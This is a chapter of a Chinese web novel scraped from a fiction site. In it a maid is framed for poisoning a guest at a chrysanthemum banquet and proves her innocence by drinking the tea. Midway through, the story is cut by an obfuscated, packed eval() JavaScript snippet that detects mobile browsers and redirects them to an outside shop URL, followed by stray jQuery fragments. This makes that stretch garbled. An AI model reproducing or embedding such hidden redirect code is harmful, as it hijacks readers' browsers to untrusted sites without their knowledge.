文趣网 > 都市小说 > 檀香烬 > 3. 赏菊宴
    三日后。

    艳阳高照下,女眷们三三两两赏花品茶,穿梭于满园芳菲之中。

    陈执生站在廊下,看着面前的簇簇菊花出神。

    “少爷,这花你已经看了小半个时辰了,还不歇歇吗?”福安嘟囔道。

    陈执生朝福安眨眨眼睛,道:“这花位置好。”

    说罢眼神飘向花的一侧——正对着园门。

    福安顿时明白了,也会心一笑,小声道:“怪不得往年你对赏菊宴都敬而远之,今天却巴巴地往前凑,原是醉翁之意不在酒啊。”

    陈执生不置可否,只是继续佯装赏花。

    清仪从偏房出来,远远地望见陈执生的身影,心头一紧,她垂下眼去,脚步没停,绕过假山石之际,看向正在不远处修剪花枝的穆沉雪。

    两人四目相对,清仪的视线极快地向一旁飘过,穆沉雪顺势看去——那是正在张望的陈执生,她很快收回目光,朝着清仪微微颔首。

    园门处忽然嘈杂起来,一女子在众人的前呼后拥下走了进来,她一袭藕粉色衣裙,生得一双翦水秋瞳,巴掌大的小脸上轮廓如刻,身姿聘婷,容色倾城。

    她眨着那双灵动的桃花眼,笑意盈盈地和众人谈天,目光似是随意地扫过花园,却又在远处那个少年的身影处滞涩了一瞬。

    “三小姐的美貌真是冠绝京都啊。”

    “那是!”身旁一个身着鹅黄色衣裙的女孩抢着答道,“紫缳姐姐就是美若天仙的京都第一美人,什么赝品仿品,都不及紫缳姐姐万分之一。”

    那是徐紫缳的闺中密友高懿宁。

    陈执生收了个与徐紫缳相像的通房丫鬟一事陈家不欲对外人言,所以席间知道此事的人不多,众人闻此言中有他意,可大都不知所以,只得面面相觑。

    “高家妹妹冠会说笑,”徐紫缳微微一笑,道,“京中美女如云,这第一美人的名号我实在愧不敢当。”

    众人随即又七嘴八舌地吹捧起来,但经此一言,陈执生收房一事必然要在京传开了。

    徐紫缳应付完众人,含情脉脉地望向陈执生,对上陈执生翘首以盼的目光。

    “紫缳,好久不见。”陈执生含笑着迎上来。

    徐紫缳语气温柔,说道:“执生哥,你也来了,我们的确好些时日没见了,上次见你还是你赠我狐皮衣裳那日。”

    “对啊,上次祠堂后院,我本以为能见上你一面,你为何……”

    陈执生追问道,话音未落,后面忽然响起了一声呼唤——是穆沉雪。

    “阿檀!你来帮我剪一下这个花枝!”

    “阿檀”二字像一把锋利的剪刀,瞬间剪断了徐紫缳看向陈执生时,眼神里的一线柔情。她像是被泼了冷水一般,脸色登时冷了下去。

    二人皆看过去,眼见一名穿着灰色衣裳的女子手拿一把小银剪疾步走来,看到二人都在看着她,她微微一笑,俯身行礼。

    “女婢阿檀,见过徐小姐、见过二少爷。”她语气平缓道。

    “你就是阿檀啊。”徐紫缳似笑非笑,目光冷冷地落到清仪脸上,盯了一会儿,忽地转头对陈执生笑道:“你房中的人,确是眉目如画、气质非凡,还是你慧眼识人。这个檀字与阿檀姑娘真是相得益彰,起得真好。”

    这一番话着实在陈执生意料之外,他僵在原地,几度欲开口却不知应从何说起,耳边嘈杂的说话声几乎与徐紫缳的话音共同停滞。

    “阿檀姑娘只是我新交的一个朋友。我们之间……”

    徐紫缳打断道:“二少爷不必紧张,一个丫鬟而已,二少爷结交也就结交了,何须解释。”

    她语气轻柔,并无半分不满。

    一旁的大夫人发现他们同在一处,笑着迎上来:“紫缳,你终于来了,快入座吧,今年的菊花比往年要好,你陪我去看看那盆‘凤凰振羽’。”说着挽了徐紫缳的胳膊往别处走去。她便连声称好,顺从地跟上。

    临走时她忽地回头瞥了一眼清仪,二人四目相对,清仪在这一瞬里读出了锐利的敌意。

    她面色如常,躬身行礼,算是送走了夫人与徐三小姐,可她知道,今日的麻烦必然不会被如此轻易地送走。

    清仪又转身看向心事重重的陈执生,轻声说道:“二少爷,今日若是因我一事,使得您与徐小姐生了嫌隙,奴婢就是万死也难赎罪,奴婢自请去徐小姐面前解释。”

    陈执生看着清仪认真的样子,不禁道:“我与她……我其实并不知她的心意,你不必去解释,更不必将我二人视作什么画本子里心意相通的一对。”说着他忽地放慢语气,严肃道:“万一污了徐小姐名节便不好了。”

    清仪连连称是。

    “是奴婢思虑不周了。但同为女子,想来奴婢也更懂女子心思,若是二少爷有什么需要奴婢之处,奴婢愿竭尽全力为二少爷分忧。”清仪轻声道:“以此来弥补奴婢犯下的过错。”

    “你既是我房中人,便不必在我面前自称奴婢,唤作阿檀即可。”陈执生道,“不过,阿檀,我确有一事想要问你……”

    日光潋滟之下,陈执生与清仪并肩立在花园的一角,他说了几句什么,声音很低,面露难色,她微微侧耳,点了点头。

    旁人只见得二人的身影,却听不清两人说了什么。

    宴会渐渐过半,清仪跟随其他人一同为诸位贵人上茶,行至半路时,耳畔突然传来一声惊呼:“你和我的紫缳姐姐长得可真像!”

    “高小姐说笑了,奴婢怎配与徐小姐相提并论。”清仪一顿身,朝着那名身着鹅黄色衣裙的女子欠身行礼。

    高小姐听罢笑了起来,“你这话说得倒是不假,我就是在说笑,你的确不配与紫缳姐姐相提并论。”

    说着她将清仪手上的茶壶拿起,为自己斟了一杯茶,“你这茶是要端过去给紫缳姐姐的吧,我看她未必想喝你的茶,”她脸上露出一丝诡谲的笑意,“不如我来替她尝一尝吧。”

    清仪心中不安但只得闷声不语,她扫视周围,不见长芸与大夫人,徐小姐尚在很远处,并未留意此处。

    高小姐将杯中之茶一饮而尽,欲转身离去,却忽地脱力,攀在身边婢女身上,最后像是被抽去了筋骨一般,整个人直直地往下坠。

    清仪来不及反应,正欲冲上前去为其号脉,当年在江南,行医的本事她是学过一些的。

    可还没等她上前,一只手将她狠狠推在一侧。眼见一个人冲过来扶住高小姐大声质问道:“这是怎么回事?”

    “刚才我家小姐喝了一口要端给徐家三小姐的茶就这样了。”高小姐的婢女焦急地说道,又伸手指向清仪,“那茶就是她端的!”

    四周的人见状都围了上来,众人的目光齐刷刷投向清仪,清仪站在原地尚不知所措。

    那冲过来扶着高小姐的女子也看向清仪,二人四目相对。

    清仪心头猛地一缩

    这女子不是长芸又是谁。

    “你竟已憎恨徐小姐到如此地步了吗?借着和她有几分相似的脸蛋勾引二少爷还不够吗?如今你居然要谋害她!”

    长芸的厉声诘问引得众人议论纷纷。

    “奴婢不曾下毒,高小姐的症结来的急,不如快些请大夫来,莫要误了病情!”清仪说罢,双膝跪地叩首道:“还请长芸姐姐明鉴,奴婢与各位小姐不曾有过任何过节,更不会在茶里下毒。”

    “谁人不知二少爷倾心于徐小姐,我看你就是嫉妒徐小姐,故意谋害!来人!将这个贱婢拖进柴房,等大夫人发落!”长芸一脸正气道。

    大夫人本就欲将自己除之而后快,柴房一进,自己恐怕难以活命。

    透过人群的缝隙,清仪眼见大夫人一众人正往这边走来,为今之计唯有将此事闹大,绝不能拖到宴会结束。她挣脱几个小丫鬟,冲出人群,扑通一声跪在大夫人脚边。

    “大夫人,高家小姐忽生急症,还请大夫人速请郎中救治!”

    大夫人眼见是清仪,面露嫌恶之色,听闻有人在自己宴会上生急症,脸色骤变,忙道:“快!快去请大夫!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938444|213788||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    清仪借此空隙转头看了一眼长芸,她的眼底已是怒色——想来此举破坏了她的计划,那么大夫人多半是不知情的。

    而那高家小姐倒像是知道一些内情的,高小姐与徐小姐又私交甚好。

    那么高小姐到底知道多少?这个毒是谁下的?

    高小姐是喝下茶才会如此还是提前服下了什么?

    诸多疑问如同雨后春笋般在清仪脑中冒出,她来不及将这些错综复杂的思路一一捋清。

    “大夫人!都是阿檀这个奴婢,高小姐就是口渴喝下了她要端给徐小姐的茶才会如此!”长芸又冲上来义愤填膺地控诉。

    “什么?这茶本是要盛与我的?”身边的徐紫缳一脸骇然。

    那个被打板子的夜里,那张怒火中烧的脸再次出现在清仪面前,大夫人不假思索,大声道:“来人!”

    清仪回头看向还倒在丫鬟怀里的高小姐,忽地似有所悟——无论如何,这个局里,最想被置于死地的人都只有一个,那就是自己。

    她毫不迟疑,愤然起身,捡起被搁置在地上的茶壶,举壶就口,仰面饮尽。

    只见她喉间微动,又遇秋风四起,吹得她秀发纷乱,茶水顺着壶嘴淌下来,滑过她的下颌,清仪在众人瞠目结舌的表情中抬袖一抹,随即蹲身施礼。

    “奴婢愿饮下此茶自证从未在此中下毒,若真有歹人暗中先行下毒,高小姐身娇体贵,奴婢愿先行替高小姐试药,以补奴婢失察之过。”清仪一副悍不畏死的神情,字字铿锵道:“望大夫人明察,还奴婢清白,莫让真正的凶手逍遥法外!”

    大夫人方才怒不可遏的脸此刻却变得讳莫如深,她锁着眉仿佛深思着什么,适逢耳边响起一句:“我看这小丫鬟未必是真凶,不如等大夫来了听其诊断、再行定夺。”

    说话的是一眉眼清秀的女子——大少爷陈执桓之妻冯晴,她言语温和望向大夫人。

    大夫人闻言一抬头,此刻众人虽不作言语,可面目中皆是对二人所言的默默赞许。

    “儿媳所言极是。”大夫人和颜悦色道,“阿檀啊,你先起来吧。”

    清仪闻声起身,身子却没感到什么不适,细观高家小姐虽瘫软在奴婢怀中,却依旧面色红润,似有睫毛微颤,心下便猜到了答案。

    “大夫人,虽已值秋季,今日却阳光正盛,高小姐是犯了暑热之症也并非没有可能,不如将她挪入荫凉处。”清仪轻声道。

    大夫人缄默不语,点了点头。

    长芸马上疾步上前扶起高家小姐,众人亦跟随着前去,大夫人虽一言未发,却始终目色冷凝、眉头微蹙。

    人群喧嚣中,清仪突然望见徐紫缳与福安的离去的背影,于是她扫视周围,终于在不远处的假山边看见了一个身形高挑之人,一身劲衣,相隔虽远,却依旧可见其熠熠有神的双眸。

    许是他叫走了徐小姐。

    他看了多久?

    清仪来不及细想,匆匆忙忙跟上去。

    假山边——

    徐紫缳躬身一掬,道:“迎儿妹妹突发急症,我须快些赶回去照料她,还望二少爷快些说。”

    “她没什么大碍……”陈执生嘴巴微张,欲言又止。又看向徐紫缳,手指不自觉攥紧袖口,道:“我想问你,那日约我去祠堂前院所为何事,最后为何没能赴约?”

    徐紫缳听罢,面色茫然、如坠云雾地看向陈执生。

    只见陈执生耳郭红了一片,默然不语,只是别过脸去,伸手递来一封信。

    徐紫缳抬手接过,展开的瞬间指尖一顿。

    那是一张薛涛笺,色泽粉中带青,是她素日里惯用的那种。不仅如此,信中的字迹,每一笔每一捺,都像是从她指尖生长出来的。

    她捏着信纸的手指渐渐发白,字迹是自己的,落款亦是自己的。信里,自己约陈执生去祠堂前院相见,说是有要事相告。

    她逐字逐句从头读到尾,那双平日里潋滟如春的桃花眼不露声色地涌起阵阵寒意,她猛地一拂袖,看向陈执生。